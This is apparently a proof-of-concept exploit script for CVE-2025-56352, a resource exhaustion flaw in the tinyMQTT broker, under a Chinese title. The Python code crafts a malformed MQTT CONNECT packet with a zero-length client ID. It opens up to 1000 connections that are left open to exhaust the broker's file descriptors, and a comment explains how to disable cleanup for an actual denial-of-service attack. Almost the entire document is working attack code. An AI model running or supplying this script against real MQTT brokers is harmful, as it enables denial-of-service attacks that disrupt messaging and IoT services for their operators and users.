CVE-2025-56352 tinyMQTT资源耗尽漏洞

import socket import time # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 1883 COUNT = 1000 def create_malicious_packet(): """ Creates a CONNECT packet with CleanSession=0 and Zero-length Client ID. This violates the MQTT protocol but triggers the resource leak in tinyMQTT. """ # Fixed Header: Message Type CONNECT (1), Reserved (0) -> 0x10 header = bytes([0x10]) # Variable Header protocol_name = b'\x00\x04MQTT' # Protocol Name: MQTT protocol_level = bytes([0x04]) # Protocol Level: 4 (3.1.1) # Connect Flags: 0x00 (Clean Session = 0) connect_flags = bytes([0x00]) keep_alive = b'\x00\x3C' # Keep Alive: 60 # Payload # Client Identifier Length: 0x0000 (Zero length) client_id_len = b'\x00\x00' client_id = b'' payload = client_id_len + client_id # Remaining Length calculation # Protocol Name (6) + Level (1) + Flags (1) + Keep Alive (2) + Payload (2) = 12 remaining_length = bytes([0x0C]) return header + remaining_length + protocol_name + protocol_level + connect_flags + keep_alive + payload print(f"[*] Starting DoS attack against {TARGET_IP}:{TARGET_PORT}...") print("[!] This will attempt to exhaust file descriptors.") sockets = [] packet = create_malicious_packet() try: for i in range(COUNT): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) try: s.connect((TARGET_IP, TARGET_PORT)) s.send(packet) # Do not close the socket! This consumes the file descriptor. sockets.append(s) print(f"[+] Sent packet {i+1}, socket left open.") except Exception as e: print(f"[-] Failed at iteration {i+1}: {e}") break except KeyboardInterrupt: print("\n[!] Stopping attack.") finally: # Cleanup sockets for testing purposes (comment out for actual DoS) for s in sockets: s.close() print("[*] Sockets closed.")